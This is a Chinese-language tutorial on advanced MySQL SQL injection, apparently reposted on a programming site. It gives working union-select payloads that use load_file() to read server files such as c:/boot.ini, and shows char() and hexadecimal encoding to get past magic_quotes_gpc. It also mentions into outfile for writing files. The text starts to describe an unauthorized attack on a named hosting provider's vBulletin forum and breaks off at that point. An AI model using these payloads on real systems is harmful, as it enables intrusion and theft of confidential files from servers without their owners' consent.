Advanced SQL Injection with MySQL
Advanced SQL Injection with MySQL
文/图 安全天使·angel[BST]
前言
我的《SQL Injection with MySQL》(《防线》7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于《SQL Injection with MySQL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完。专题发表后,很多人已经陆续转到PHP+MYSQL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西,本文就不再提了。
详细
我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。
看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 必须有权限读取并且文件必须完全可读
- 欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。
在实际的注入中,我们有两个难点需要解决:
- 绝对物理路径
- 构造有效的畸形语句
在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。
利用
我们假设一个程序的SQL语句如下:
SELECT * FROM article WHERE articleid=$id
注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读。
此时,我们构造$id为:
-1 union select 1,1,1,1,load_file('c:/boot.ini')
我们的Query就变成:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')
程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成16进制,没错,就是它们。
注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读。
我们构造$id为:
-1 union select 1,1,1,load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:
SELECT * FROM article WHERE articleid=-1 union select 1, 1, 1, load_file(char(99, 58, 47, 98, 111, 111, 116, 46, 105, 110, 105))
我们也可以成功的读取boot.ini文件,还有把字符串转换为16进制的,“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69”,所以上面的语句可以是这样:
SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。
SELECT load_file([string])
当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出。大家已经知道如何利用了,我也不说细节了,看一个实例说明一切。
实例
www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.php存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是)。这是一次完整的安全测试。仅仅获取信息,我并未进入服务器。
这里补充说明一点关于VBB的根目录下global.php的一段代码,如下:
上一篇: PHP循环结构实例讲解
推荐阅读
-
Mysql中SQL语句不使用索引的情况
-
PHP处理SQL脚本文件导入到MySQL的代码实例
-
mysql执行sql文件报错Error: Unknown storage engine‘InnoDB’的解决方法
-
mysql的sql语句特殊处理语句总结(必看)
-
PHP+mysql防止SQL注入的方法小结
-
Shell脚本中执行sql语句操作mysql的5种方法
-
解决MYSQL出现Can''t create/write to file ''#sql_5c0_0.MYD''的问题
-
UCenter info: MySQL Query Error SQL:SELECT value FROM [Table]vars WHERE noteexis
-
mysql从执行.sql文件时处理\n换行的问题
-
【呕心总结】python如何与mysql实现交互及常用sql语句